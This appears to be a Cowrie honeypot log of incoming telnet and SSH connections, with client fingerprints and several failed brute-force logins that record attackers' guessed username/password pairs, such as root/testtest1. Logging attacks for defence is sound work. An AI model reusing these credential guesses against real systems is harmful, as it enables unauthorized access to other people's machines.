{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":48134,"dst_ip":"159.203.135.109","dst_port":23,"session":"7924288186b0","protocol":"telnet","message":"New connection: 64.227.9.242:48134 (159.203.135.109:23) [session: 7924288186b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:12:53.056368Z"}
{"eventid":"cowrie.session.connect","src_ip":"112.217.199.222","src_port":51384,"dst_ip":"10.17.0.5","dst_port":22,"session":"0050ed0daf57","protocol":"ssh","message":"New connection: 112.217.199.222:51384 (10.17.0.5:22) [session: 0050ed0daf57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:12:55.411198Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:12:55.417212Z","src_ip":"112.217.199.222","session":"0050ed0daf57","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:12:55.616850Z","src_ip":"112.217.199.222","session":"0050ed0daf57","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sysadmin","password":"passw0rd","message":"login attempt [sysadmin/passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:12:56.443793Z","src_ip":"112.217.199.222","session":"0050ed0daf57","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:12:57.646286Z","src_ip":"112.217.199.222","session":"0050ed0daf57","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":58956,"dst_ip":"159.203.135.109","dst_port":23,"session":"b90b3d8d2f1f","protocol":"telnet","message":"New connection: 64.227.9.242:58956 (159.203.135.109:23) [session: b90b3d8d2f1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:13:01.710577Z"}
{"eventid":"cowrie.session.closed","duration":34.90154814720154,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:13:05.793007Z","src_ip":"64.227.9.242","session":"2f9711e05dc4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"1.235.192.214","src_port":44796,"dst_ip":"10.17.0.5","dst_port":22,"session":"2b9fd0d0619a","protocol":"ssh","message":"New connection: 1.235.192.214:44796 (10.17.0.5:22) [session: 2b9fd0d0619a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:13:06.208757Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:13:06.213814Z","src_ip":"1.235.192.214","session":"2b9fd0d0619a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:13:06.393112Z","src_ip":"1.235.192.214","session":"2b9fd0d0619a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":37716,"dst_ip":"159.203.135.109","dst_port":23,"session":"fe11ce059036","protocol":"telnet","message":"New connection: 64.227.9.242:37716 (159.203.135.109:23) [session: fe11ce059036]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:13:06.400110Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"159357","message":"login attempt [ubuntu/159357] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:13:07.144058Z","src_ip":"1.235.192.214","session":"2b9fd0d0619a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:13:08.325182Z","src_ip":"1.235.192.214","session":"2b9fd0d0619a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.84282565116882,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:13:10.061575Z","src_ip":"64.227.9.242","session":"fa727d0e9675","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.64271354675293,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:13:12.673856Z","src_ip":"64.227.9.242","session":"67a32e4b5304","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":51730,"dst_ip":"159.203.135.109","dst_port":23,"session":"423e254d494a","protocol":"telnet","message":"New connection: 64.227.9.242:51730 (159.203.135.109:23) [session: 423e254d494a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:13:17.229972Z"}
{"eventid":"cowrie.session.closed","duration":35.21698307991028,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:13:18.830477Z","src_ip":"64.227.9.242","session":"205d7a42095d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":27076,"dst_ip":"10.17.0.5","dst_port":22,"session":"ad81e10cac98","protocol":"ssh","message":"New connection: 194.59.206.2:27076 (10.17.0.5:22) [session: ad81e10cac98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:13:19.028615Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:13:19.033407Z","src_ip":"194.59.206.2","session":"ad81e10cac98","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:13:19.119414Z","src_ip":"194.59.206.2","session":"ad81e10cac98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:13:19.209074Z","src_ip":"194.59.206.2","session":"ad81e10cac98","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":54264,"dst_ip":"159.203.135.109","dst_port":23,"session":"5deaef362cd9","protocol":"telnet","message":"New connection: 64.227.9.242:54264 (159.203.135.109:23) [session: 5deaef362cd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:13:19.216981Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":58350,"dst_ip":"159.203.135.109","dst_port":23,"session":"4dad290e77d0","protocol":"telnet","message":"New connection: 64.227.9.242:58350 (159.203.135.109:23) [session: 4dad290e77d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:13:21.972748Z"}
{"eventid":"cowrie.session.closed","duration":34.01070594787598,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:13:27.066983Z","src_ip":"64.227.9.242","session":"7924288186b0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":39552,"dst_ip":"159.203.135.109","dst_port":23,"session":"199a82576f7b","protocol":"telnet","message":"New connection: 64.227.9.242:39552 (159.203.135.109:23) [session: 199a82576f7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:13:27.995432Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":39666,"dst_ip":"159.203.135.109","dst_port":23,"session":"2c3fed49ea30","protocol":"telnet","message":"New connection: 64.227.9.242:39666 (159.203.135.109:23) [session: 2c3fed49ea30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:13:28.074880Z"}
{"eventid":"cowrie.session.closed","duration":37.15462851524353,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:13:28.151810Z","src_ip":"64.227.9.242","session":"c760bc9359e1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.859017848968506,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:13:36.569465Z","src_ip":"64.227.9.242","session":"b90b3d8d2f1f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":56550,"dst_ip":"159.203.135.109","dst_port":23,"session":"84a2e54e841c","protocol":"telnet","message":"New connection: 64.227.9.242:56550 (159.203.135.109:23) [session: 84a2e54e841c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:13:38.451490Z"}
{"eventid":"cowrie.session.closed","duration":34.64590859413147,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:13:41.045918Z","src_ip":"64.227.9.242","session":"fe11ce059036","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":34226,"dst_ip":"159.203.135.109","dst_port":23,"session":"01d9995ae797","protocol":"telnet","message":"New connection: 64.227.9.242:34226 (159.203.135.109:23) [session: 01d9995ae797]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:13:42.092500Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":35234,"dst_ip":"159.203.135.109","dst_port":23,"session":"6cd6184e6e89","protocol":"telnet","message":"New connection: 64.227.9.242:35234 (159.203.135.109:23) [session: 6cd6184e6e89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:13:42.735583Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":38636,"dst_ip":"159.203.135.109","dst_port":23,"session":"18dd8f445cc8","protocol":"telnet","message":"New connection: 64.227.9.242:38636 (159.203.135.109:23) [session: 18dd8f445cc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:13:45.191138Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":42234,"dst_ip":"159.203.135.109","dst_port":23,"session":"db2e7b2622e5","protocol":"telnet","message":"New connection: 64.227.9.242:42234 (159.203.135.109:23) [session: db2e7b2622e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:13:47.767226Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.171.213","src_port":54362,"dst_ip":"10.17.0.5","dst_port":22,"session":"6e77cf4f0a4a","protocol":"ssh","message":"New connection: 152.32.171.213:54362 (10.17.0.5:22) [session: 6e77cf4f0a4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:13:47.929442Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:13:47.935579Z","src_ip":"152.32.171.213","session":"6e77cf4f0a4a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:13:48.151359Z","src_ip":"152.32.171.213","session":"6e77cf4f0a4a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cmsuser","password":"123456","message":"login attempt [cmsuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:13:49.043880Z","src_ip":"152.32.171.213","session":"6e77cf4f0a4a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.13.206.100","src_port":40320,"dst_ip":"10.17.0.5","dst_port":22,"session":"a44942900432","protocol":"ssh","message":"New connection: 103.13.206.100:40320 (10.17.0.5:22) [session: a44942900432]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:13:49.257129Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:13:49.262285Z","src_ip":"103.13.206.100","session":"a44942900432","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:13:49.498371Z","src_ip":"103.13.206.100","session":"a44942900432","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:13:50.262490Z","src_ip":"152.32.171.213","session":"6e77cf4f0a4a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"testtest1","message":"login attempt [root/testtest1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:13:50.473035Z","src_ip":"103.13.206.100","session":"a44942900432","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"112.217.199.222","src_port":40250,"dst_ip":"10.17.0.5","dst_port":22,"session":"820f19f2cb43","protocol":"ssh","message":"New connection: 112.217.199.222:40250 (10.17.0.5:22) [session: 820f19f2cb43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:13:50.504908Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:13:50.510112Z","src_ip":"112.217.199.222","session":"820f19f2cb43","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:13:50.709234Z","src_ip":"112.217.199.222","session":"820f19f2cb43","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":47390,"dst_ip":"159.203.135.109","dst_port":23,"session":"53483409236a","protocol":"telnet","message":"New connection: 64.227.9.242:47390 (159.203.135.109:23) [session: 53483409236a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:13:51.033996Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":47892,"dst_ip":"159.203.135.109","dst_port":23,"session":"7035b4a67fb9","protocol":"telnet","message":"New connection: 64.227.9.242:47892 (159.203.135.109:23) [session: 7035b4a67fb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:13:51.318011Z"}
{"eventid":"cowrie.login.failed","username":"csgoserver","password":"csgoserver","message":"login attempt [csgoserver/csgoserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:13:51.532649Z","src_ip":"112.217.199.222","session":"820f19f2cb43","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:13:51.711957Z","src_ip":"103.13.206.100","session":"a44942900432","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.17201638221741,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:13:52.401849Z","src_ip":"64.227.9.242","session":"423e254d494a","protocol":"telnet"}
